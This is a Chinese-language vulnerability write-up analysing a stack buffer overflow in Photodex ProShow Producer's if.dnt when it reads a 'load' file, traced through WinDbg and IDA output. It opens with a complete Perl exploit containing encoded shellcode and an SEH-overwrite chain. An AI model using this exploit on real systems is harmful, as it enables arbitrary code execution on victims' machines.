Photodex Proshow Producer本地代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe

PoC:

my $buffsize = 15000; # keep size of exploit buffer consistent
 
my $shell = "\x90" x 100; # since we're jumping ~60 bytes past the start of our buffer
              # start the shellcode with enough nops
 
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R | 
# msfencode -e x86ikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = $shell . "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";
 
my $junk = "\x41" x (9844 - length($shell)); # 9844 is the offset to nseh
my $nseh = "\xeb\x08\x90\x90"; # overwrite next seh with jmp instruction
my $seh = pack('V',0x1022adc9); # overwrite seh handler with pop ebx pop eax ret  
                                # ASLR: False, Rebase: False, SafeSEH: False, OS: False 
                                # C:\Program Files\Photodex\ProShow Producer\if.dnt
 
# we don't have enough space to execute shellcode after the nseh jump
# there is enough space at esp + 1041 which points back to the beginning
# of our buffer so we'll use this limited spaceto increment esp and jump to it
 
my $jmp = "\x90" x 20; # start the jmp code with some nops 
my $jmp = $jmp . "\x41\x41"; # align so add esp executes properly
my $jmp = $jmp . "\x83\xc4\x64" x 11; # increment esp before we jump to it; (add esp, 100) x 11 = esp + 1100 
my $jmp = $jmp . "\xff\xe4"; # jmp esp
 
my $sploit = $shell.$junk.$nseh.$seh.$jmp; # concatenate the sploit portion of the buffer
my $fill = "\x42" x ($buffsize - length($sploit)); # fill the remainder of the buffer with junk to keep it consistent
my $buffer = $sploit.$fill; # build the final buffer
 
# write the exploit buffer to file
my $file = "load";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";

调试环境:
Windows xp sp3

这个PoC在EDB上,可以直接在kali2.0下用perl直接生成一个.dnt文件,替换Photodex下的dnt文件,在加载的时候会触发漏洞,这个PoC具有一个完整的攻击链,可以将shellcode部分,跳板部分修改成畸形字符串确保漏洞触发现场,降低对调试的影响。


漏洞复现


此漏洞是由于Photodex ProShow的if.dnt文件,对load文件内容进行处理时,没有对读取到的内容进行严格的检查,导致执行程序内部定义的memcpy函数时,超长串覆盖了返回地址,从而memcpy函数返回时eip可控。下面对此漏洞进行详细分析。

首先打开程序,程序会自动从本地文件中读取load文件,直接崩溃,附加windbg

(ae4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f135b8 ebx=009d20d4 ecx=000004f5 edx=00000000 esi=00f121e4 edi=00130000
eip=1021f7d3 esp=0012d8fc ebp=0012d904 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt - 
if!EncFileStream+0x17a63:
1021f7d3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,这里执行了rep movs操作,也就是内存拷贝操作,看一下esi的值。

0:000> dd esi
00f121e4  41414141 41414141 41414141 41414141
00f121f4  41414141 41414141 41414141 41414141
00f12204  41414141 41414141 41414141 41414141
00f12214  41414141 41414141 41414141 41414141
00f12224  41414141 41414141 41414141 41414141
00f12234  41414141 41414141 41414141 41414141
00f12244  41414141 41414141 41414141 41414141
00f12254  41414141 41414141 41414141 41414141

esi地址对应的值是41414141畸形字符串,那么我们继续执行到ret部分。

0:000> g
(ae4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012d52c ebp=0012d54c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

程序返回时,由于返回地址被覆盖,程序被接管,我们来看一下漏洞触发位置所处的函数。

.text:1021F7A0 ; void *__cdecl memcpy(void *Dst, const void *Src, size_t Size)
.text:1021F7A0 _memcpy         proc near               ; CODE XREF: RoundSolidColor(x)+10Fp
.text:1021F7A0                                         ; RoundSolidColor(x)+199p ...
.text:1021F7A0
.text:1021F7A0 Dst             = dword ptr  8
.text:1021F7A0 Src             = dword ptr  0Ch
.text:1021F7A0 Size            = dword ptr  10h
.text:1021F7A0
.text:1021F7A0                 push    ebp
.text:1021F7A1                 mov     ebp, esp
.text:1021F7A3                 push    edi
.text:1021F7A4                 push    esi
.text:1021F7A5                 mov     esi, [ebp+Src]
.text:1021F7A8                 mov     ecx, [ebp+Size]
.text:1021F7AB                 mov     edi, [ebp+Dst]
.text:1021F7AE                 mov     eax, ecx
.text:1021F7B0                 mov     edx, ecx
.text:1021F7B2                 add     eax, esi
.text:1021F7B4                 cmp     edi, esi
.text:1021F7B6                 jbe     short loc_1021F7C0
.text:1021F7B8                 cmp     edi, eax
.text:1021F7BA                 jb      loc_1021F938

可以看到,这是自定义的一个memcpy函数,那么我们就由此入手分析漏洞形成的原因。


漏洞分析


1021F7BA这个地址所处的领空明显不是程序领空,我们首先通过lm来查看一下漏洞的dll

10000000 106f3000   if       C (export symbols)       C:\Program Files\Photodex\ProShow Producer\if.dnt

问题很有可能出现在if.dnt这个dll中,在程序刚刚打开时,if.dnt还没有被加载,首先我们先通过sxe命令对if.dnt下断点,加载dll时会中断。

0:000> sxe ld:if.dnt
0:000> g
ModLoad: 10000000 106f3000   C:\Program Files\Photodex\ProShow Producer\if.dnt
eax=00000000 ebx=00000000 ecx=009a0000 edx=7c92e4f4 esi=00000000 edi=00000000
eip=7c92e4f4 esp=0012f4a8 ebp=0012f59c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
ntdll!KiFastSystemCallRet:
7c92e4f4 c3              ret

接下来在memcpy函数入口处下断点,但是发现在加载load文件之前,会调用很多次memcpy函数,我们连续步过直到最后一次调用memcpy函数。

0:000> g
Breakpoint 0 hit
eax=00000041 ebx=009d20d4 ecx=00f0fb20 edx=0012d93c esi=00003a98 edi=00003a98
eip=1021f7a0 esp=0012d908 ebp=00f0fb20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
if!EncFileStream+0x17a30:
1021f7a0 55              push    ebp
0:000> g
(8f8.d40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f135b8 ebx=009d20d4 ecx=000004f5 edx=00000000 esi=00f121e4 edi=00130000
eip=1021f7d3 esp=0012d8fc ebp=0012d904 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
if!EncFileStream+0x17a63:
1021f7d3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

观察esi,最后一次调用时esi的值为00003a98,这样我们可以下条件断点,以便分析时直接到达关键位置。

0:000> bp 1021f7a0 ".if(@esi=00003a98){}.else{g;}"
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt - 
0:000> g
eax=00000041 ebx=009d20d4 ecx=00f0fb20 edx=0012d93c esi=00003a98 edi=00003a98
eip=1021f7a0 esp=0012d908 ebp=00f0fb20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
if!EncFileStream+0x17a30:
1021f7a0 55              push    ebp
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d904 10021f08 0012d93c 00f0fb20 00003a98 if!EncFileStream+0x17a30
0012d9e4 7c92d0fc 00000000 00000000 0012da2c if!IFSaveDefaultEnv+0x2a28
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0012d9f4 7c80e9c1 00000000 009d1fb8 00000000 ntdll!ZwCreateMutant+0xc

0:000> dd 00f0fb20
00f0fb20  41414141 41414141 41414141 41414141
00f0fb30  41414141 41414141 41414141 41414141
00f0fb40  41414141 41414141 41414141 41414141
00f0fb50  41414141 41414141 41414141 41414141
00f0fb60  41414141 41414141 41414141 41414141
00f0fb70  41414141 41414141 41414141 41414141
00f0fb80  41414141 41414141 41414141 41414141

可以看到,最后一次memcpy时,拷贝地址已经是畸形数据了,同时我们调用kb看到了进入memcpy前的调用位置,我们回到上层函数分析。通过IDA pro,我们找到了几处关键位置。

.text:10021E3E                 push    40h             ; uStyle
.text:10021E40                 push    edx             ; lpReOpenBuff
.text:10021E41                 mov     [edi], eax
.text:10021E43                 lea     eax, [esp+2BCh+FileName]
.text:10021E4A                 push    eax             ; lpFileName
.text:10021E4B                 mov     [edi+4], cl
.text:10021E4E                 call    ds:OpenFile

这里调用了文件打开操作,在10021E4E位置下断点,重新加载程序。

0:000> g
Breakpoint 0 hit
eax=0012da40 ebx=009d20d4 ecx=ffffff00 edx=0012db44 esi=00a01318 edi=0012da6b
eip=10021e4e esp=0012d90c ebp=009d1fb8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
if!IFSaveDefaultEnv+0x296e:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
10021e4e ff1508e22210    call    dword ptr [if!EncFileStream+0x26498 (1022e208)]
0:000> dc 0012da40
0012da40  505c3a43 72676f72 46206d61 73656c69  C:\Program Files
0012da50  6f68505c 65646f74 72505c78 6f68536f  \Photodex\ProSho
0012da60  72502077 6375646f 6c5c7265 0064616f  w Producer\load.

可以看到,这里打开了漏洞对应的load文件,接下来。

.text:10021E9F                 push    ebp             ; lBytes
.text:10021EA0                 push    edi             ; lpBuffer
.text:10021EA1                 push    esi             ; hFile
.text:10021EA2                 call    ds:_hread

我们可以看到read函数,这里读取的内容是文件内容,我们下断点来看一下读取前和读取后。

0:000> bp 10021EA2
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt - 
0:000> g
Breakpoint 0 hit
eax=00f0fb20 ebx=009d20d4 ecx=009ea7e8 edx=009ea7e8 esi=00000660 edi=00f0fb20
eip=10021ea2 esp=0012d90c ebp=00003a98 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
if!IFSaveDefaultEnv+0x29c2:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
10021ea2 ff1510e22210    call    dword ptr [if!EncFileStream+0x264a0 (1022e210)] ds:0023:1022e210={kernel32!lread (7c8353e6)}
0:000> dd eax
00f0fb20  baadf00d baadf00d baadf00d baadf00d
00f0fb30  baadf00d baadf00d baadf00d baadf00d
00f0fb40  baadf00d baadf00d baadf00d baadf00d
00f0fb50  baadf00d baadf00d baadf00d baadf00d
00f0fb60  baadf00d baadf00d baadf00d baadf00d
00f0fb70  baadf00d baadf00d baadf00d baadf00d
00f0fb80  baadf00d baadf00d baadf00d baadf00d
00f0fb90  baadf00d baadf00d baadf00d baadf00d

到达断点位置,这时00f0fb20还是正常内容,接下来。

0:000> p
eax=00003a98 ebx=009d20d4 ecx=7c80189c edx=7c92e4f4 esi=00000660 edi=00f0fb20
eip=10021ea8 esp=0012d918 ebp=00003a98 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
if!IFSaveDefaultEnv+0x29c8:
10021ea8 3bc5            cmp     eax,ebp
0:000> dd edi
00f0fb20  41414141 41414141 41414141 41414141
00f0fb30  41414141 41414141 41414141 41414141
00f0fb40  41414141 41414141 41414141 41414141
00f0fb50  41414141 41414141 41414141 41414141
00f0fb60  41414141 41414141 41414141 41414141
00f0fb70  41414141 41414141 41414141 41414141
00f0fb80  41414141 41414141 41414141 41414141
00f0fb90  41414141 41414141 41414141 41414141

read之后edi被畸形字符串填充。接下来调用memcpy会因字符串填充造成返回地址被覆盖。我们来看一下伪代码。

文件打开

  v14 = OpenFile(FileName, &ReOpenBuff, 0x40u);//load文件打开
  v15 = v14;
  if ( v14 != -1 )
  {
    v21 = llseek(v14, 0, 2);
    v19 = v21;
    v46 = v21;
    llseek(v15, 0, 0);
    v18 = (void *)NewMemoryCheckMemAllocLocal(v19, (int)"LoadPlug", (int)"if.c", 4099);
    v20 = v18;
    v47 = v18;
    if ( v18 )
    {
      if ( hread(v15, v18, v19) == v19 )//load文件读取
      {
        lclose(v15);
        v22 = v46;
        for ( i = 0; i < v22; ++i )
        {
          for ( j = i; j < v22; ++j )
          {
            v25 = *((_BYTE *)v20 + j);
            if ( v25 == 10 )
              break;
            if ( v25 == 13 )
              break;
          }
          if ( j != i )
          {
            memcpy(&Dst, (char *)v47 + i, j - i);//调用造成溢出
Comments
Write a Comment